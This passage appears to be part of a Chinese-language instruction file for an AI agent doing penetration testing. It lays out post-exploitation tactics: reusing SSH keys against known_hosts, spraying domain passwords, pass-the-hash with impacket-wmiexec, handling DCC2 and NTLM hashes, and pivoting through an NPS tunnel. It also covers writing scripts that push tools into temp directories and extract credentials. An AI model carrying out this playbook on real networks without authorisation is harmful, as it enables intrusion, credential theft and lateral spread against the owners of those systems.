- SSH 密钥 → 对 known_hosts 中的主机逐一尝试
- 域凭据 → 仅对已知域内主机密码喷洒
- 禁止
netexec smb 10.x.x.0/24 整段喷射
- NTLM hash 处理优先级:
- 第一步:PTH 直接登录(
impacket-wmiexec -hashes),不要先破解明文
- 第二步:仅对高价值目标密码喷洒(已知存活、有 SMB 的主机)
- 第三步:离线破解仅作最后手段,且只用 top100 小字典,禁止 rockyou 等大字典
- DCC2 hash 不要花时间破解,直接用对应的 NTLM hash 做 PTH
- 新访问 → NPS 上线 → Phase 1 循环
Reference 文件使用指南
| 场景 | 读取文件 | 触发条件 |
|---|
| Windows 提权/横向 | references/windows.md | 目标为 Windows |
| Linux 提权/横向 | references/linux.md | 目标为 Linux |
| 域渗透 | references/domain.md | 发现域环境 |
| 云原生/容器 | references/cloud-native.md | 检测到 Docker/K8s/云环境 |
多个场景可能同时存在(如域内的 Windows 主机),按需同时参考多个文件。
脚本生成原则
- 遵循 nps-operator 约定:NPS 变量在开头、免认证、exec_cmd 用
.text、其余用 .json()
- 每个脚本包含所需的 NPS 基础函数,可独立运行
- 脚本包含结果解析逻辑(正则提取 IP、端口、凭据等关键信息)
- 复杂操作拆分为多步脚本,每步有明确的输入/输出说明
- 工具名使用 dist 目录实际文件名(平台后缀匹配)
- Windows 工具路径:
C:\temp\ 或用户临时目录;Linux:/tmp/ 或 /dev/shm/
- 包含错误处理:命令超时、工具推送失败、权限不足